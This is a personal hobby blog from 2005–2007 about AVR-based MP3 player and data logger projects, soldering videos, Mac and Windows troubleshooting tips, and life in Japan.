I've just finished 2 new PCB revisions for the MP3 player. One PCB uses the new VS1053 chip so should be able to play Ogg Vorbis, WMA, MP3, WAV and all the rest. This is of course at the cost of ease of construction and the PCB needs to be 2 layers so is slightly more expensivve to manufacture. Not to worry because the second design is a slight revision of the original PCB using the VS1003 so is easy to solder but MP3 only. The new designs will add the the ability to use SD and MMC cards. I have a full bill of materials with 90% of parts available from Farnell and Digikey.

Hopefully this side of Christmas I'll have them finished and tested with a whole array of new photos, instructions and videos up.

New Butterflylogger release

2007-09-21T22:43:00.001+01:00

Just finished a new release of the butterflylogger (0.27) you can find it at http://brokentoaster.com/butterflylogger/

This version adds support for DS18B20 1-Wire digital thermometers. This means you can string a number of these 12-bit thermometers an only use I/O pin on the logger.

PS/2 Keyboard startup

2007-08-17T19:51:00.000+01:00

I've been adding a ps2 keyboard to one of my projects and found firmware based on Atmel's AVR313 application note didn't work. After a bit of hunting around on the net and some careful watching on the logic analyser I found out why.

When the AT keyboard is first reset it's supposed to send an AA if its self-test passed or FD or FC if it failed. But before it does this, it sends a continual stream of AAs with the parity incorrect. Once the computer sends an FE to indicate that there is a parity error, the keyboard stops sending bad AAs and sends a correct AA or an FD or FC. This sounds like someone made a quick fix in the keyboard firmware for mis-matched reset timing (the keyboard always finishes resetting before the computer so the computer could miss the AA/FD/FC).

This was found at http://www.cs.cmu.edu/afs/cs/usr/jmcm/www/info/key2.txt

Logger release 0.26

2007-08-06T07:23:00.000+01:00

I've finally gotten around to doing a bugfix release for my Butterfly Logger. For some reason it would not compile properly on the later versions of gcc. I am still using gcc 4.02 for my development as it yields smaller builds than the current 4.1.x generation.

You can now remove some of the LCD/Joystick interface to make it smaller so the bootloader can be used on the butterfly.

The link to firmware download is on this page

Teachers Timer

2007-07-25T19:55:00.000+01:00

I have just finished the website for my "Teachers Timer" project. This is all based on the documentation produced for the Circuit cellar competition last year.

here is the blurb:

Teachers Timer is an innovative and discrete timing device for assisting teachers and lecturers. Using cell phone style vibrations and a simple one-button interface the user can be alerted to the passage of time without staring at the clock. For lectures and presentations the device can also include a laser pointer that will gently fade in and out to alert the user.

My station master project is also up at brokentoaster.com/stationmaster/

New soldering videos

2007-07-15T23:38:00.000+01:00

Just recorded some more soldering videos this weekend. One involves soldering a very fine pitch zigbee RF transceiver using some solder paste and a standard kitchen stove top. The other is a far more usual soldering of a TQFP ATMega 88 on the same board by hand.

You should of course carry this out in a well ventilated area as soldering fumes are toxic.

The PCB being constructed in these videos is an open source Zigbee module. Zigbee is a low power wireless mesh networking technology based on IEEE 802.15.4 initially aimed at home and industrial automation. You can get the PCB from http://www.anteeo.se/zigbee.php

Brokentoaster Software 2003

2007-07-14T09:53:00.001+01:00

I've resurrected my old geocities site from back in the day. Complete with rants, raves and how software would save the world. You can check it out here

Brokentoaster.com

2007-07-12T07:01:00.000+01:00

Well I've finally got around to getting a real domain and some web space. I've moved my SF project web pages there to

http://www.brokentoaster.com/butterflylogger/ and

http://www.brokentoaster.com/butterflymp3/

Hopefully I'll post some new pages for my other hardware and software projects soon. I might even resurrect the old brokentoaster software site from the 90s.

Thunderbird 2 dictionary problem

2007-05-01T11:21:00.000+01:00

Installed the new version of thunderbird this week which went well apart from the dictionary going mental. Not to worry easily fixed by copying the myspell files to a new directory as outlined in the post below.

After installing the new release thunderbird 2.0.0.0 (update from thunderbird 1.5) the german dictionary does not work and the add on of the dictionary does not work too. I created a new directory ..\Mozilla Thunderbird\dictionaries and copied the old files *.dic and *.aff from ..\Mozilla Thunderbird\components\myspell to the new directory.

this is in the "Program files" folder no the application settings folder as I first thought. The dictionary files are not part of a user profile but installed as and extension to the app itself.

Fixing Dodgy USB devices on Windows

2007-03-03T18:11:00.000Z

I've had to do this a few times so I thought I'd post it here to save me remembering. I found this nicely typed up version here (gist of it is below).

Removing the VID entries from the registry will cause them to be redetected at restart.

1. Click Start and click Run. Type regedit and click OK. The Registry Editor window will open.

2. Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Enum\USB.

3. Highlight and delete all the VID_.... entries for usb devices that you cannot identify. Remember not to delete the entries mentioned above.

You may not have permssion to delete keys, do the following.
Permissions may be set allowing the deletion of the VID_ entries by following the steps below:

a) Right-click the key to be deleted, and then click Permissions. The VID_... Permissions window will open.
b) With Everyone highlighted in the Group or User name section, select Full Control in the Permissions section.
c) Click Apply, and then click OK.

Soldering videos on Digg

2007-02-17T10:26:00.001Z

Well I don't think It'll make the front page but someone posted my videos to Digg. Good to see some other people appreciating my work and hopefully adding some work or comments of there own.

read more | digg story

2007-01-20T18:31:00.000Z

Bluetooth Headset fix.

For a long time I've had an issue with my Bluetooth Headset in OSX. It worked perfectly on other macs but not mine.

It would work fine if I turned it on and then plugged in the bluetooth dongle into the computer. If I plugged the dongle in first and then powered up the headset it would connect to the computer and then hang waiting for a RFCom channel kernel[0]: [IOBluetoothSCOAudioDevice][waitForRFCOMMChannel] - Waiting. The Headset itself would then shutdown (which is similar but very different to the expected behaviour of going into standby mode)

I finally figured out how to fix this ( Seems obvious now).In the file /var/root/Library/Prefernces/blued.plist you need to chance the value of the keys AudioGatewayRFCOMMChannelID and AudioGatewayServiceRecordHandle. My original non working values were 11 for both so I changed them both to 1 and now everything works perfectly. To edit this file you'll need to do the following...

In terminal...

sudo sh (or su)
cp /var/root/Library/Preferences/blued.plist ./
chown  blued.plist
exit
open blued.plist

In Property List Editor ...

Change AudioGatewayRFCOMMChannelID value to 1

Change AudioGatewayServiceRecordHandle value to 1

Save blued.plist

Back in Terminal...

sudo sh ( or su)
chown root blued.plist
cp blued.plist /var/root/Library/Preferences/
exit

and your done! :)

2006-12-04T22:42:00.000Z

I managed to make the Make magazines open source gift guide! See if you can spot my project in the picture.

Long time no post! oh well that's just the way it goes moving countries. I'm almost set up again in England. Living in Oxford now and enjoying a new job that doesn't involve teaching English (fun though it was).

I managed to pick up four distinctive excellence awards in the Circuit Cellar competition so hopefully I'll have some more writing opportunities in the new year, and if not I can always write documentation for my growing list of other projects.

Last Day in Japan :(

2006-09-11T00:45:00.000+01:00

Well this is my last blog entry for Japan. It has been a great year, and I picked up lots of great junk. My favourite store by far was "Super Junk". If your in Tokyo its on your left as you walk up towards the Akihabara main drag from Ochanomizu metro station. There is also a great 2nd hand test equipment store nearby as well. I guess I'll miss Japan and Akihabara, but I think I've got enough reels of surface mount resistors and other surplus electronics to keep me busy for a while to come. :)

Next stop London...

Fix audio output selection in Mac OS X 10.4.x

2006-07-23T01:55:00.000+01:00

Okay so thank god I have finally got to the bottom of why flash player, real player and many other apps ignore the default sound output setting and try to select my bluetooth headset.

The fix is here and here

If an app in in Mac OS requests a sound device but the audio resolution is too high (like 96kHz) instead of changing the resolution of the channel or upsampling the sound or reporting some kind of useful error to the user it simply doesn't play sound or in my unusual case it selects the next sound device.

This was a hard to find fix because most people reported it as sound not playing at all because they only had one output device.

Thanks for nothing Apple ;) hope this is on your lepoard TODO list. Oh yeah thanks to every company that didn't even acknowledge my bug report. Even an automated email saying "we have recieved your report and ignored it" would have been better.

2006-07-02T10:35:00.000+01:00

How to peel cooked potato skin in one shot.

finally the internet is useful. It's odd that I would move to Japan and then only watch Japanese TV on the internet ;). Oh well life's funny like that.

2006-07-02T09:26:00.000+01:00

Soldering Videos

Thought I'd finally upload my soldering videos to help anyone learning to solder... (perhaps its an example what not to do ;) )

Host your own photocasts.

2006-06-08T12:40:00.000+01:00

Great piece of software at http://globs.org/articles.php?lng=en&pg=265
allows you to host your iPhoto libraries and publish photocasts.

Nice if you have lots of bandwidth and are too lazy to upload all your photos too flickr. ( which is pretty much my situation ;) )

2006-06-08T12:27:00.000+01:00

http://media.revver.com/broadcast/23037/video.mov
(Firefox propaganda movie no longer embedded)

what the Flickr?

2006-06-03T13:17:00.000+01:00

ButterflyMP3_LCDAdapter - 4,
originally uploaded by Brokentoaster.

Dunno what's been up with flicker lately but it screwed up all my photos for the last few days. No biggie. I guess that's what you get for using beta ( or now gamma) software. ;)

New PCBs arrived

2006-05-24T01:51:00.000+01:00

ButterflyMP3_LCDAdapter - 4,
originally uploaded by Brokentoaster.

all right ! its always a good day when the postman turns up with a package from Bulgaria. My PCBs for my CC entries have arrived so its time to do some serious soldering. Here's a picture of my LCD adapter for a 4096 colour 128x128 pixel display. Now all I have to do is write some code to support it...

good old reliable MS

2006-04-26T17:18:00.000+01:00

HongKong(022),
originally uploaded by Brokentoaster.

what can I say. I took this photo in a Hong Kong subway station on the weekend. I'm glad the trains still have someone human driving them cos I don't want to be onboard when they need to reboot :)

Spring is here

2006-04-05T07:27:00.000+01:00

blossoms on the river bank,
originally uploaded by Brokentoaster.

Spring is here and Japan has turned pink. This answers my question about what the hell was with the crazy pink wallpaper on my PSP this month :)
This photo was taken on Sunday looking down a river bank near Asakadai / Kita-Asaka station.

AVR ISP programmer on the Mac

2006-03-26T16:45:00.000+01:00

For anyone using a Mac for AVR development, just thought I'd say I've managed to get an ISPAVRU1 from ERE CO., LTD. to work with OS 10.4

It uses a standard FTDI driver but ERE use their own Device id (0xCEA0 or 52896 ). I simply modified the Info.plist file in
/System/Library/Extensions/FTDIUSBSerialDriver.kext/Contents/ to contain the following extra key in the right place (under IO kit personalities).....

            <key>ISPAVRU1</key>
                <dict>
                        <key>CFBundleIdentifier</key>
                        <string>com.FTDI.driver.FTDIUSBSerialDriver</string>
                        <key>IOClass</key>
                        <string>FTDIUSBSerialDriver</string>
                        <key>IOProviderClass</key>
                        <string>IOUSBInterface</string>
                        <key>bConfigurationValue</key>
                        <integer>1</integer>
                        <key>bInterfaceNumber</key>
                        <integer>0</integer>
                        <key>bcdDevice</key>
                        <integer>1024</integer>
                        <key>idProduct</key>
                        <integer>52896</integer>
                        <key>idVendor</key>
                        <integer>1027</integer>
                </dict>

If the driver is loaded correctly you should be able to see something like the following in your /dev/ directory.

/dev/cu.usbserial-ER051111
/dev/tty.usbserial-ER051111

I use this command line with avrdude to talk to it. :)
avrdude -p m169 -P /dev/cu.usbserial-ER051111 -c avrisp2 -t

I'd make a complete modified driver package but I can't be bothered figuring out how to use the pax archiver to re wrap things back uip again.

Hope someone finds this useful :)

dos 2 unix converter

2006-03-05T16:39:00.000Z

quick script to convert win32 txt to unix CRLF -> LF

#!/bin/sh
for file
do
perl -pi.bak -e 's/\r\n?/\n/g;' $file
done

Quick Backup

2006-03-05T15:10:00.000Z

Quick backup command. thought I'd put it here before i forget it. just gzips and tars everythingin directory.

tar zcvf ../backup`date +%y%m%d%H%M%S`.tgz .

Translate buttons for Safari

2006-01-26T04:31:00.000Z

A bit of mucking about today and I adapted my Del.icio.us buttons to work with google translate.

You can grab this like here and drag it to your tool bar to translate any japanese page into english.

Edit the "langpair" option in the bookmark to change languages

you could try this one using www.rikai.com for mouse over translation.

URL is below

javascript:location.href='http://www.rikai.com/perl/LangMediator.En.pl?mediate_uri='+encodeURIComponent(location.href)

Google memory search

2006-01-25T03:56:00.000Z

Had an idea for a great Instant messenger add on app. It would be wicked to have something like google adwords for IM, but instead of ads, showing relevant excerpts from past chats and web history.

Essentially google for your brain.

So as you chat about the best way to skin a cat you can have a side window showing the time you talked about cat skinning with your uncle Owswald, and where you can buy cat skinning tools, and web pages about cat skinning. The trick of course is deciding what is relevant and doing it in a non invasive manner. Maybe google could do this, maybe thats the future of http://www.google.com/talk/ (yet another IM client).

Why limit just to IM why not live search your whole computing experience?

What would distinguish this from existing desktop searching (google desktop/ yahoo/ spotlight) is that it would be live updating and passive ( no user effort ) perhaps something that hooks into standard edit boxes the way the system wide spellcheck does in Mac OSX.

Only if you could make it so the user didn't know they were using it would it be useful. If the user has to think about searching then the product is dead because as soon as I think about searching I may as well do a full search, but if its just there like a cup of coffee on your desk and you sip with out thinking then it would work..

perhaps this will be in OS X 10.6 .. Spotlight 2 ( the version that works :) )

Today is defiantly one of those verbal diarrhea days the ideas keep coming no time to filter.... oh well.

Etoire in Snow

2006-01-25T02:30:00.000Z

Etoire in Snow,
originally uploaded by Brokentoaster.

Alright finally a snow day. Thought I'd test out the new wifi enabled Nikon coolpix p2 I bought for my mum with some photos of Miyoshi town.

Forward Delete Key on Macs

2006-01-13T06:11:00.000Z

I just found the following hint on macosxhints.com
http://www.macosxhints.com/article.php?story=20050525040921189
Blast that forward-delete key (just below the Help key on a standard Mac keyboard)! It just keeps inputting a '~' when pressed, instead of deleting the next character. Luckily, there is an easy solution. In clean OS X apps, including Terminal, Control-Option-D does what we want the forward-delete key to do.

So go to Terminal's Terminal menu, pick Window Settings, and then choose "Keyboard" in the pop-up menu. Double-click on the 'del (forward delete)' key, and in the sheet that pops open, activate the input box just below "Action." Type Control-Option-D, and you should see '04' in the box. Click OK, close the Terminal Inpsector window, and you should now have a working forward-delete key. Yay!

Lightbox.js

2006-01-13T05:07:00.000Z

just found this little script http://www.huddletogether.com/projects/lightbox/.
Very nice. I have added it to the picture pages for the mp3 player at http://butterflymp3.sf.net/pic.html

Dash blog test

2006-01-11T05:37:00.000Z

Just thought I'd test out this widget (dash blog) for blogging from the dashboard. seems okay but spell checking would be nice.

Winter is here!

2005-12-30T15:03:00.000Z

Nikko - 33,
originally uploaded by Brokentoaster.

Well winter is definitely here in Japan. I've just posted some of my photos from my visit Nikko. The forecast said a high of -4 but I measured at least +1. I guess you just can't trust the weather. Anyway a regular winter wonderland complete with frozen waterfalls. Unfortuantly I didn't see any monkeys :( .

Biggest Buddha

2005-11-02T02:04:00.000Z

Biggest image of Buddha,
originally uploaded by Brokentoaster.

This statue of Buddha at the Todaiji Temple in Nara has to be the most amazing thing I've seen. It's 30 meters high and was originally built over a 1000 years ago. The Temple itself is the largest wooden structure in the world, and its built and designed earthquake safe! Cool.

crazy akihabara

2005-10-10T04:26:00.000+01:00

crazy akihabara,
originally uploaded by Brokentoaster.

I have to say I'm going to love living only a short train ride away from Akihabara. Where they sell electronics and soldering irons on the street and giant robots roam the roads :) well almost. Still very cool.

Beer Vending Macine

2005-10-02T13:08:00.000+01:00

Beer Vending Macine,
originally uploaded by Brokentoaster.

Well enough said really.... I do like japan :)

Hard Drive Mp3 Player Prototype

2005-08-23T15:00:00.000+01:00

ATA_MP3_PLAYER,
originally uploaded by Brokentoaster.

Thought I'd make the most of the soldering tools I have while I've still got 'em. Took me about 2-3 Hrs to assemble but I now have a HDD based Mp3 Player to debug. Looks like it might need a couple of minor mods to get going but shouldn't take too much more effort on the HW side.

Now to write that FAT32 ATA library I've been putting off for the last 6 months :)

Click the photo for more images.

mk3 Prototype case completed!!!

2005-08-12T03:25:00.000+01:00

DSC01376.JPG,
originally uploaded by Brokentoaster.

Manu has come through with the goods yet again with this primo case for the Mk3 prototype. This one is smaller lighter and faster than the last. It's all aluminium construction makes it substantially lighter than the solid steel case of the Mk2.

New Hard Drive Mp3 Player PCBs have Arrived

2005-08-12T03:07:00.000+01:00

butterflymp3-ata PCB top,
originally uploaded by Brokentoaster.

Alright! My new PCBs for the HD version of the butterflymp3 have arrived from www.custompcb.com / www.silvercircuits.com. They look pretty good. I had to go without a solder mask or silkscreen to cut costs. Had a small mixup where I used dichlormethane rather than isopropanol to clean the board and accidentally melted the paint off my desk and onto one side of the PCB. A whole lot more dichlormethane later and everything is good as new. :)

2005-08-10T13:22:00.000+01:00

Finally managed to get avarice installed on the new iBook. Just so I can remember for next time this is what I did. ( as root user)

- Install libbfd
cd binutils-2.16.1
cd bfd/
./configure --target=avr --disable-nls --enable-install-libbfd
make
make install

- install Libiberty
cd binutils-2.16.1
cd libiberty/
./configure --target=avr --disable-nls --enable-install-libiberty
make
make install

- install avarice
cd avarice-2.3
LDFLAGS="-L/usr/local/powerpc-apple-darwin8.2.0/avr/lib -lbfd" CPPFLAGS="-I/usr/local/powerpc-apple-darwin8.2.0/avr/include" ./configure
make
make install

( all other AVR tools handled by Fink)
(also applied butterfly corrections patch to avrdude 5)

Thanks Frodi Hammer http://www.mip.sdu.dk/~frodi/mac.html

Finished USB Fluro

2005-08-08T22:26:00.000+01:00

DSC01348,
originally uploaded by Brokentoaster.

Well this weekend I managed to tidy up the fluroecent lamp into a more respectable form.

New prototype mp3 player?

2005-08-04T00:31:00.000+01:00

DSC01346,
originally uploaded by Brokentoaster.

Got Manu down in the machine shop to come up with a new case design for the mp3 player and this is the result. Think it might need a couple of refinements before we go to production with this one.

USB powered mini Fluro lamp

2005-07-28T12:00:00.000+01:00

DSC01319,
originally uploaded by Brokentoaster.

With a few bits of junk and some misc stuff I've created a new thing :)

2005-07-28T10:03:00.000+01:00

Well I thought I might set up a bit of a blog before I shoot off into the great unknown. This is the place where I boost my ego by thinking that others will be interested in the Stuff, Things and Junk I find during my upcoming holiday in Japan, the UK and beyond. I'll also be posting here about Stuff Things and Junk I'm building like mp3 Players and other projects. I'll also be using this as a launch pad for test driving my new breed of cutting edge grammer and mis use of the english language.